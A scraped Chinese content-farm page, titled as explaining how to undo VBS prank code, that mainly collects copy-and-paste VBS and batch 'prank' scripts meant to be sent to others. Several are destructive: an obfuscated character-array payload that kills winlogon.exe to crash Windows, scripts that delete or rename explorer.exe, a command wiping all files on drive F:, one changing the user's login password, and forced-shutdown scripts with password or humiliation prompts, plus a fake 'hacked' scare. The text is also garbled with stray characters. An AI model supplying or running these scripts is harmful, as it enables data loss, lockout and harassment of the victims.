在线不卡日本ⅴ一区v二区_精品一区二区中文字幕_天堂v在线视频_亚洲五月天婷婷中文网站

  • <menu id="lky3g"></menu>
  • <style id="lky3g"></style>
    <pre id="lky3g"><tt id="lky3g"></tt></pre>

    vbs整人代碼怎么解除(vbs整人代碼)

    提起vbs整人代碼,大家都知道,有人問vbs整人代碼怎么解除,你知道這是怎么回事?其實(shí)vbs整人代碼怎么解除,下面就一起來看看vbs整人代碼,希望能夠幫助到大家!

    VBS小程序-彈窗整人(代碼+解析)

    VBS可以用來編寫一些整人的小程序,那么如何編寫呢?下面我就給大家分享一下。

    01

    我們首先在桌面上創(chuàng)建一個(gè)VBS的文件,如下圖所示,注意VBS文件雙擊的話是直接運(yùn)行的

    02

    然后我們用Sublime打開vbs程序文件,在里面核猛借助loop循環(huán)來不斷的輸出msgbox,如下圖所示

    03

    接下來我們雙擊vbs程序文件,運(yùn)行上面拍禪編寫的整人程序,你會(huì)看到如下圖所示的彈窗效果,我們點(diǎn)擊確定以后會(huì)不斷的彈窗改賀橋

    04

    最后如果你想關(guān)閉這個(gè)整人的程序只能通過在任務(wù)管理器里面右鍵結(jié)束任務(wù)進(jìn)行關(guān)閉了,如下圖所示

    求大量VBS整人代碼.

    第一個(gè) domsgbox “hi”loop 第二個(gè) Set s = CreateObject(“sapi.spvoice”)i=0dos.speak ii=i+1loop 第三個(gè) if MsgBox(“對(duì)不起,您消中慧灌水太多需要重新啟動(dòng)計(jì)算機(jī)。”chr(10)”確定要重啟嗎?”,vbOKCancel+vbInformation,”重新啟動(dòng)計(jì)算機(jī)”)=vbCancel thenmsgbox ” 系統(tǒng)將立刻重起wow ~_^”拿答,,”你上當(dāng)了?。?#8221;Set objShell = CreateObject(“Wscript.Shell”)objShell.Run “shutdown -s -t 5”,,trueend if 第四個(gè) ‘這個(gè)很強(qiáng)悍的vbs,藍(lán)屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)for i=1 to UBound(strs)runner=runnerchr(strs(i))nextExecute runner 第五個(gè) if MsgBox(“你是豬頭嗎?”,vbYesNo,”提示”)=vbyes thenmsgbox “你SB啊!”elsemsgbox “還不承認(rèn)!! 作為懲罰,藍(lán)屏一下,你馬上掛了#¥!@#¥%@……#……?”,64,”培清嚴(yán)重警告!!!!!!!!!”Set ws = CreateObject(“Wscript.Shell”)wscript.sleep 1200ws.run “cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul”,vbhideend if 第六個(gè) Set ws = CreateObject(“Wscript.Shell”)ws.run “cmd.exe /c call calc.exe”,0第七個(gè) set ws=CreateObject(“Wscript.Shell”)ws.run “cmd.exe /c taskkill /f /im explorer.exe”,0wscript.sleep 900ws.run “cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data”wscript.sleep 1200ws.run “cmd.exe /c del /q /f %windir%\explorer.exe”第八個(gè) Set ws=WScript.CreateObject(“WScript.Shell”)ws.popup”大家好,我就是改變社會(huì)風(fēng)氣,風(fēng)魔萬千少女,刺激電影市道,提高年輕人內(nèi)涵,”,10,”閃亮登場(chǎng)”,64ws.popup”玉樹臨風(fēng),風(fēng)度翩翩的……“咕嚕…咕?!保缓靡馑迹覂?nèi)急先閃了,再見!”,15,”farewell”,64wscript.sleep 100000ws.popup”發(fā)現(xiàn)重要windows更新未安裝,系統(tǒng)將自動(dòng)下載更新并安裝”,10ws.popup”正在下載windows更新……”,12wscript.sleep 10000ws.popup”windows更新已下載完畢,正在安裝更新……”,12wscript.sleep 3000msgbox”系統(tǒng)檢測(cè)到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ,并在強(qiáng)行嵌入你的電腦”,4132,”是否對(duì)其進(jìn)行掃描?”msgbox”軟件名:comcontroler.exe “vbcrlf””vbcrlf” 大?。?.21MB “vbcrlf””vbcrlf” 發(fā)行者:幻想丶永恒(403746401)”vbcrlf””vbcrlf” 安全狀況:有病毒”,vbinformationmsgbox”comcontroler.exe存在不安全因素”,4132,”是否阻止其安裝”msgbox”阻止失敗,請(qǐng)檢查防火墻是否開啟”wscript.sleep 15000ws.popup”windows更新安裝成功!”,vbinfmation,20msgbox”您的電腦可能已被入侵,請(qǐng)盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料”,vbinformationws.popup”哈哈,我已經(jīng)控制了你的電腦!”,12,”很高興見到你”,64ws.popup”不信?我用你的電腦打開我的QQ空間給你看看”,10ws.run”” msgbox”警告:為了您的電腦安全,請(qǐng)盡快安裝使用殺毒軟件對(duì)系統(tǒng)進(jìn)行全面殺毒”,vbinformationws.popup”我再打開中國神泣官方網(wǎng)站”,10ws.run”” ws.popup”現(xiàn)在相信了吧?我再打開你的記事本給你寫封英語信”,20ws.popup”記事本會(huì)被打開并最大化,這時(shí)你不要?jiǎng)樱f別把目標(biāo)轉(zhuǎn)移到其他窗口,耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負(fù)責(zé)!”ws.run “notepad”,3 : wscript.sleep 2000verybat=split(“dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it’s ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj”,”,”) 第九個(gè) for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup”唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886″,30ws.popup”下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈”,8ws.run “taskkill /f /im qq.exe”ws.popup”你還要上吧 慢慢玩哦”,27dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)for d=0 to 4WSHshell.SendKeys “%{F4}”nextws.run”shutdown -s -t 1000600″wscript.sleep 2000dim adoa=inputbox(“請(qǐng)輸入解除關(guān)機(jī)密碼”)if a=”403746401″ thenws.run”shutdown -a”msgbox”密碼驗(yàn)證成功,enjoy the best!”exit doelsemsgbox”密碼驗(yàn)證失敗,請(qǐng)輸入解除關(guān)機(jī)密碼:403746401 “,vbretrycancelend ifloopws.popup”哈哈 被嚇到了吧 好玩吧?你以為真的是病毒?呵呵O(∩_∩)O~,我還沒那么打本事能做出病毒來!”,57ws.popup”(\(^o^)/~ 好啦,跟你開了個(gè)小小玩笑。你也可以把這個(gè)文件發(fā)給其他人,耍耍別人。呵呵^_^”,62wscript.sleep 8900do until i=10i=i+1msgbox “CPU溫度過高,系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤!,請(qǐng)結(jié)束所有應(yīng)用程序讓CPU降溫!”,16+4096,”系統(tǒng)提示:”wscript.sleep 1000*45loop 第十個(gè) set sh=wscript.createobject(“wscript.shell”)sh.run”shutdown -s -t 332″ 第十一個(gè) dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)for d=0 to 40WSHshell.SendKeys “%{F4}”next第十二個(gè) dim a,b,c,sSet fs=CreateObject(“Scripting.FileSystemObject”)name = WScript.ScriptNamefullname = WScript.ScriptFullNamepath = Replace(fullname,name,””)a=inputbox(“請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名!”vbcrlf””vbcrlf”稍后將會(huì)給你意外的驚喜!! “vbcrlf””vbcrlf”不信你可以試試看?。?!”vbcrlf””vbcrlf”最好是中文名···”,”芮洲提示:”,”請(qǐng)?jiān)诖溯斎肽愕拿?#8221;)If a = “”ThenWScript.QuitEnd IfMyVar=MsgBox (“你的名字叫:”a” “,vbYesNo + vbExclamation,”芮洲提示:”)If MyVar=vbYes ThenElseIf MyVar=vbNo Thena=inputbox(“請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名!”vbcrlf””vbcrlf”稍后將會(huì)給你意外的驚喜?。?“vbcrlf””vbcrlf”不信你可以試試看?。。?#8221;vbcrlf””vbcrlf”最好是中文名···”,”芮洲提示:”,”請(qǐng)?jiān)诖溯斎肽愕拿?#8221;)If a = “”ThenWScript.QuitEnd IfEnd Ifwscript.sleep 1000b=inputbox(“尊敬的 “a” 你好!”vbcrlf””vbcrlf”請(qǐng)?zhí)顚懸幌履愕膼酆谩?只需填一個(gè)哦!)”,”芮洲提示:”,”請(qǐng)?jiān)诖溯斎肽愕膼酆?#8221;)If b = “”ThenWScript.QuitEnd Ifwscript.sleep 1000c = inputbox (“請(qǐng)?jiān)谙旅鎸?duì)話框中輸入你的出生[年 月日]電腦將自動(dòng)算出到目前為止你已經(jīng)在地球上存活了多少時(shí)間!”vbcrlf””vbcrlf”下面以我為列 不同可以修改”vbcrlf””Chr(10)”格式為:1987-06-02″,”芮洲提示:”,”1987-06-02″)If c = “”ThenWScript.QuitEnd Ifwscript.sleep 1000age = abs(datediff(“d”,date,c))wscript.sleep 1current = now()h=datepart(“h”,current)n=datepart(“n”,current)WScript.Sleep 1000s = msgbox (Chr(10)”恭喜 “a” 已在地球上存活了:”age”天 “h”小時(shí) “n”分鐘…..”,vbOKCancel+63,”芮洲提示:”)if s=2 thenend ifSet auto=fs.CreateTextFile(“C:\Documents and Settings\All Users\桌面\”a”的秘密.vbs”,true)auto.WriteLine”MSGBOX””””””我的名字叫:”a” “”””””vbcrlf””””””””””””vbcrlf””””””我的愛好是:”B” “”””””vbcrlf””””””””””””vbcrlf”””””””a”已經(jīng)活了:”age”天 “h”小時(shí) “n”分鐘 “”””””,64,”””””””a”的自我介紹:”””auto.WriteLine”msgbox””””””親愛的 “a ” 再見了!””””””,48,””””””芮洲提示:”””””””Set auto=fs.CreateTextFile(“C:\Documents and Settings\All Users\桌面\祝”a”生日快樂.TXT”,true)auto.WriteLine”本人芮洲祝: “a” 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)…….”auto.WriteLine”你已在地球上生活了:”age”天 “h”小時(shí) “n”分鐘了”auto.WriteLine”時(shí)間是根據(jù)你的出生年月日算的,可能不是很精確,但目的只是想讓知道時(shí)間過的很快,請(qǐng)珍惜時(shí)間!!!。”

    vbs整人代碼(要可以用的) 我直接COPY到記事本里,所以別打錯(cuò)了。

    ———————————————————————

    代碼:

    Set ws=WScript.CreateObject(“WScript.Shell”)

    ws.popup”大家好,我就是改變社會(huì)風(fēng)氣,風(fēng)魔萬千少女,刺激電影市道,提高年輕人內(nèi)涵,”,10,”閃亮登場(chǎng)”,64

    ws.popup”玉樹臨風(fēng),風(fēng)度翩翩的……“咕嚕…咕?!?,不好意思,我內(nèi)急先閃了,再見!”,15,”farewell”,64

    wscript.sleep 100000

    ws.popup”發(fā)現(xiàn)重要windows更新未安裝,系統(tǒng)將自動(dòng)下載更新并安裝”,10

    ws.popup”正在下載windows更新……”,12

    wscript.sleep 10000

    ws.popup”windows更新已下載完畢,正在安裝更新……”,12

    wscript.sleep 3000

    msgbox”系統(tǒng)檢測(cè)到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ,并在強(qiáng)行嵌入你的電腦”,4132,”是否對(duì)其進(jìn)行掃描?”

    msgbox”軟件名:comcontroler.exe “vbcrlf””vbcrlf” 大?。?.21MB “vbcrlf””vbcrlf” 發(fā)行者:幻想丶永恒(403746401)”vbcrlf””vbcrlf” 安全狀況:有病毒”,vbinformation

    msgbox”comcontroler.exe存在不安全因素”,4132,”是否阻止其段謹(jǐn)圓安裝”

    msgbox”阻止失敗,請(qǐng)檢查防火墻是否開啟”

    wscript.sleep 15000

    ws.popup”windows更新安裝成功!”,vbinfmation,20

    msgbox”您的電腦可能已被入侵,請(qǐng)盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料”,vbinformation

    ws.popup”哈哈,我已經(jīng)控制了你的電腦!”,12,”很高興見到你”,64

    ws.popup”不信?我用你的電腦打開我的QQ空間給你看看”,10

    ws.run””

    msgbox”警告:為了您的電腦安全,請(qǐng)盡快晌族安裝使用殺毒軟件對(duì)系統(tǒng)進(jìn)行全面殺毒”,vbinformation

    ws.popup”我再打開中國神泣官方網(wǎng)站”,10

    ws.run””

    ws.popup”現(xiàn)在相信了吧?我再打開你的記事本給你寫封英語信”,20

    ws.popup”記事本會(huì)被打開并最大化,這時(shí)你不要?jiǎng)?,千萬別把目標(biāo)轉(zhuǎn)移到其他窗口,耐心看我把信寫完。否則引起系統(tǒng)混亂我可不握塌負(fù)責(zé)!”

    ws.run “notepad”,3 : wscript.sleep 2000

    verybat=split(“dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it’s ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~,lhj”,”,”)

    ———————————————————————

    代碼2:

    WScript.Echo(“嘿,謝謝你打開我哦,我等你很久拉!”TSName)

    WScript.Echo(“你是可愛的XX童鞋嗎?”)

    WScript.Echo(“哈,我想你拉,這你都不知道嗎?”)

    WScript.Echo(“怎么才來,說~是不是不關(guān)心我”)

    WScript.Echo(“哼,我生氣拉,等你這么久,心都涼啦。”)

    WScript.Echo(“夜黑很生氣,后果很嚴(yán)重哦。”)

    WScript.Echo(“嘿嘿!你也會(huì)很慘滴哦”)

    WScript.Echo(“是不是想清除我?”)

    WScript.Echo(“那你要點(diǎn)上100下哦,不過會(huì)給你驚喜滴”)

    WScript.Echo(“還剩100下,快點(diǎn)點(diǎn)哦”)

    WScript.Echo(“還剩99下,快點(diǎn),小笨蛋!”)

    WScript.Echo(“還剩98下對(duì),就這樣快點(diǎn)點(diǎn)!”)

    WScript.Echo(“還剩97下。你啊就是笨,要快哦,我先不打擾你工作。”)

    WScript.Echo(“還剩96下,記得要快哦!”)

    WScript.Echo(“還剩95下”)

    WScript.Echo(“還剩94下”)

    WScript.Echo(“還剩93下”)

    WScript.Echo(“還剩92下”)

    WScript.Echo(“還剩91下”)

    WScript.Echo(“還剩90下”)

    WScript.Echo(“還剩89下”)

    WScript.Echo(“還剩88下”)

    WScript.Echo(“還剩87下”)

    WScript.Echo(“還剩86下”)

    WScript.Echo(“還剩85下”)

    WScript.Echo(“還剩84下”)

    WScript.Echo(“還剩83下”)

    WScript.Echo(“還剩82下”)

    WScript.Echo(“還剩81下”)

    WScript.Echo(“還剩80下”)

    WScript.Echo(“還剩79下”)

    WScript.Echo(“還剩78下”)

    WScript.Echo(“還剩77下”)

    WScript.Echo(“還剩76下”)

    WScript.Echo(“還剩75下”)

    WScript.Echo(“還剩74下”)

    WScript.Echo(“還剩73下”)

    WScript.Echo(“還剩72下”)

    WScript.Echo(“還剩71下”)

    WScript.Echo(“還剩70下”)

    WScript.Echo(“還剩69下”)

    WScript.Echo(“還剩68下”)

    WScript.Echo(“還剩67下”)

    WScript.Echo(“還剩66下”)

    WScript.Echo(“還剩65下”)

    WScript.Echo(“還剩64下”)

    WScript.Echo(“還剩63下”)

    WScript.Echo(“還剩62下”)

    WScript.Echo(“還剩61下”)

    WScript.Echo(“還剩60下”)

    WScript.Echo(“還剩59下”)

    WScript.Echo(“還剩58下”)

    WScript.Echo(“還剩57下”)

    WScript.Echo(“還剩56下”)

    WScript.Echo(“還剩55下”)

    WScript.Echo(“還剩54下”)

    WScript.Echo(“還剩53下”)

    WScript.Echo(“還剩52下”)

    WScript.Echo(“還剩51下”)

    WScript.Echo(“還剩50下”)

    WScript.Echo(“還剩49下”)

    WScript.Echo(“還剩48下”)

    WScript.Echo(“還剩47下”)

    WScript.Echo(“還剩46下”)

    WScript.Echo(“還剩45下”)

    WScript.Echo(“還剩44下”)

    WScript.Echo(“還剩43下”)

    WScript.Echo(“還剩42下”)

    WScript.Echo(“還剩41下”)

    WScript.Echo(“還剩40下”)

    WScript.Echo(“還剩39下”)

    WScript.Echo(“還剩38下”)

    WScript.Echo(“還剩37下”)

    WScript.Echo(“還剩36下”)

    WScript.Echo(“還剩35下”)

    WScript.Echo(“還剩34下”)

    WScript.Echo(“還剩33下”)

    WScript.Echo(“還剩32下”)

    WScript.Echo(“還剩31下”)

    WScript.Echo(“還剩30下”)

    WScript.Echo(“還剩29下”)

    WScript.Echo(“還剩28下”)

    WScript.Echo(“還剩27下”)

    WScript.Echo(“還剩26下”)

    WScript.Echo(“還剩25下”)

    WScript.Echo(“還剩24下”)

    WScript.Echo(“還剩23下”)

    WScript.Echo(“還剩22下”)

    WScript.Echo(“還剩21下”)

    WScript.Echo(“還剩20下”)

    WScript.Echo(“還剩19下”)

    WScript.Echo(“還剩18下”)

    WScript.Echo(“還剩17下”)

    WScript.Echo(“還剩16下”)

    WScript.Echo(“還剩15下”)

    WScript.Echo(“還剩14下”)

    WScript.Echo(“還剩13下”)

    WScript.Echo(“還剩12下”)

    WScript.Echo(“還剩11下”)

    WScript.Echo(“還剩10下”)

    WScript.Echo(“還剩9下”)

    WScript.Echo(“還剩8下”)

    WScript.Echo(“還剩7下”)

    WScript.Echo(“還剩6下”)

    WScript.Echo(“還剩5下”)

    WScript.Echo(“還剩4下”)

    WScript.Echo(“還剩3下”)

    WScript.Echo(“還剩2下”)

    WScript.Echo(“還剩1下”)

    WScript.Echo(“還剩0下”)

    WScript.Echo(“哎看你可憐,饒了你吧”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下”)

    WScript.Echo(“還剩下停停!??!慢點(diǎn),我有話要說”)

    WScript.Echo(“還剩下,你繼續(xù)點(diǎn)我就會(huì)消失滴”)

    WScript.Echo(“還剩下,以后就看不到我拉。嗚嗚~555555”)

    WScript.Echo(“還剩下,你現(xiàn)在可以選擇停止!”)

    WScript.Echo(“還剩下。你還點(diǎn)啊,不要我拉?”)

    WScript.Echo(“還剩下,有點(diǎn)傷心拉,干嘛丟棄人家”)

    WScript.Echo(“還剩下。瘋了,你有點(diǎn)負(fù)意!”)

    WScript.Echo(“還剩下。對(duì)。你就點(diǎn)吧,我恨你!”)

    WScript.Echo(“還剩下,不明白,刪除我你就好嗎?”)

    WScript.Echo(“還剩下!真要?jiǎng)h除我?”)

    WScript.Echo(“還剩下??墒俏艺娴暮芫鞈倌恪?。。”)

    WScript.Echo(“還剩下。不要這么絕情嘛,人家是愛你的!”)

    WScript.Echo(“還剩下。哼,既然你這么絕情。也別怪我無義?。?!”)

    WScript.Echo(“我本因該消失的,不過我留戀你滴芳容,萬能的上帝又給了一次機(jī)會(huì)。”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“想結(jié)束我么?那你就再多點(diǎn)一次”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    WScript.Echo(“呵呵。QQ1021435988”)

    ———————————————————————

    藍(lán)屏代碼:

    strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

    23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

    13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

    ,98,111,120,32,34,-15133,89,-13899,-20026,-

    20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

    14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

    13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

    24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

    18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

    01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

    46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

    116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

    03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

    ,110,100,32,105,102,13,10,13,10,13,10)

    for i=1 to UBound(strs)

    runner=runnerchr(strs(i))

    next

    Execute runner

    ———————————————————————

    掉qq:

    taskkill /im qq.exe /f /t

    ———————————————————————

    10秒強(qiáng)制關(guān)機(jī)(任務(wù)管理器無效):

    shutdown -s -t 10

    ———————————————————————

    死機(jī):

    start cmd

    0%

    ———————————————————————

    設(shè)置登錄密碼為2010:

    net user “%username%” 2010

    ———————————————————————

    讓電腦只剩一個(gè)背景

    taskkill /im /f /t explorer.exe

    ———————————————————————

    莫名其妙結(jié)束當(dāng)前程序:

    set ws=createobject(“wscript.shell”)

    do

    ws.sendkeys “%{f4}”

    loop

    ———————————————————————

    不斷提示你是豬:

    do

    msgbox(“你是豬”)

    loop

    ———————————————————————

    on error resume next

    dim WSHshellA

    set WSHshellA = wscript.createobject(“wscript.shell”)

    WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c “”說我是大笨笨!哈哈,不說我就一分鐘關(guān)你機(jī),不信,試試···我說到做到!”” “,0 ,true

    dim a

    do while(a”我是大笨蛋!哈哈!我是大肥豬!”)

    a = inputbox (“說我是大笨蛋!哈哈!我是大肥豬!,我就不關(guān)你的機(jī),快撒,說 “”我是大笨笨!哈哈”” “,”說不說”,”不說”,8000,7000)

    msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”

    loop

    msgbox chr(13) + chr(13) + chr(13) + “早說就行了嘛豬”

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    WSHshell.run “cmd.exe /c shutdown -a”,0 ,true

    msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,真過癮 嘎嘎.爽歪歪啊 ”

    ———————————————————————

    “我是畜生”:

    on error resume next

    dim WSHshellA

    set WSHshellA = wscript.createobject(“wscript.shell”)

    WSHshellA.run “cmd.exe /c shutdown -r -t 25 -c “”說我是畜生,不說就20秒關(guān)你機(jī),不信,試試···”” “,0 ,true

    dim a

    do while(a”我是畜生”)

    a = inputbox (“說我是畜生,就不關(guān)機(jī),快撒,說 “”我是畜生”” “,”說不說”,”不說”,8000,7000)

    msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”

    loop

    msgbox chr(13) + chr(13) + chr(13) + “早說就行了嘛”

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    WSHshell.run “cmd.exe /c shutdown -a”,0 ,true

    msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,真過癮”

    ———————————————————————

    10秒關(guān)機(jī):

    on error resume next

    dim WSHshellA

    set WSHshellA = wscript.createobject(“wscript.shell”)

    WSHshellA.run “cmd.exe /c shutdown -r -t 10 -c “”你被耍了”” “,0 ,true

    ———————————————————————

    刷對(duì)話框:

    do

    msgbox(“你被耍了”)

    loop

    ———————————————————————

    直接關(guān)機(jī):

    on error resume next

    dim WSHshellA

    set WSHshellA = wscript.createobject(“wscript.shell”)

    WSHshellA.run “cmd.exe /c shutdown -s “,0 ,true

    ———————————————————————一分鐘彈出一次:

    do until i=10

    i=i+1

    msgbox “CPU溫度過高,系統(tǒng)出現(xiàn)嚴(yán)重誤!”,16+4096,”系統(tǒng)提示”

    wscript.sleep 1000*60 ‘時(shí)間可以自己改

    loop

    ———————————————————————script language=”javascript”

    function hr(){

    alert(‘你關(guān)不掉的^_^’)

    hr();

    }

    /script

    body onLoad=”hr()”

    /body

    ———————————————————————do while(1)

    msgbox “你死定了!”

    loop

    還有更多的?。?/p>

    ———————————————————————

    刪除F:\所有文件

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    WSHshell.run “cmd /c “”del f:\*.* / f /q /s”””,0 ,true

    ———————————————————————

    不斷按下alt+f4 (開什么都關(guān)閉……) :

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    while(1)

    WSHshell.SendKeys “%{F4}”

    loop

    ———————————————————————

    注意:分割線之間為一個(gè)代碼,復(fù)制進(jìn)TXT文檔,另存為.vbs或.vbe,望樓主采納?。。群:108141490–村長

    以上就是與vbs整人代碼相關(guān)內(nèi)容,是關(guān)于vbs整人代碼怎么解除的分享??赐陃bs整人代碼后,希望這對(duì)大家有所幫助!

    鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場(chǎng),版權(quán)歸原作者所有,如有侵權(quán)請(qǐng)聯(lián)系管理員(admin#wlmqw.com)刪除。
    用戶投稿
    上一篇 2023年5月18日 12:14
    下一篇 2023年5月18日 12:14

    相關(guān)推薦

    • 日本電視劇收視率歷史排名(電視劇收視率歷史排名)

      收視率最高的電視劇排行榜前十名 1、但是《還珠格格》卻是我童年中我最喜歡看的電視劇。每到夏天的時(shí)候總會(huì)去看,好像如果這個(gè)夏天沒有看這個(gè)電視劇,夏天好像就沒有到來??梢娺@部電視劇對(duì)于…

      2024年1月24日
    • 液壓機(jī)械缸鍛造廠家品質(zhì)好的有哪些值得推薦?

      液壓機(jī)是一種以液體為工作介質(zhì)的重要機(jī)械設(shè)備,其核心功能是傳遞能量,實(shí)現(xiàn)各種工藝流程。除了在鍛壓成形方面的應(yīng)用,液壓機(jī)還廣泛應(yīng)用于矯正、壓裝、打包、壓塊和壓板等領(lǐng)域。根據(jù)工作介質(zhì)的不…

      2024年1月24日
    • 湖南暴雪已致1萬多人受災(zāi)

      據(jù)@湖南氣象 ,22日7時(shí)至23日7時(shí),湘中、湘南出現(xiàn)大到暴雪,長沙(瀏陽)、株洲(醴陵、茶陵)等13個(gè)縣市區(qū)出現(xiàn)大暴雪,郴州(北湖區(qū))、株洲(荷塘區(qū))出現(xiàn)特大暴雪;全省23個(gè)縣市…

      2024年1月24日
    • 落馬貪官退贓像“割肉”,詢問能不能少交點(diǎn)

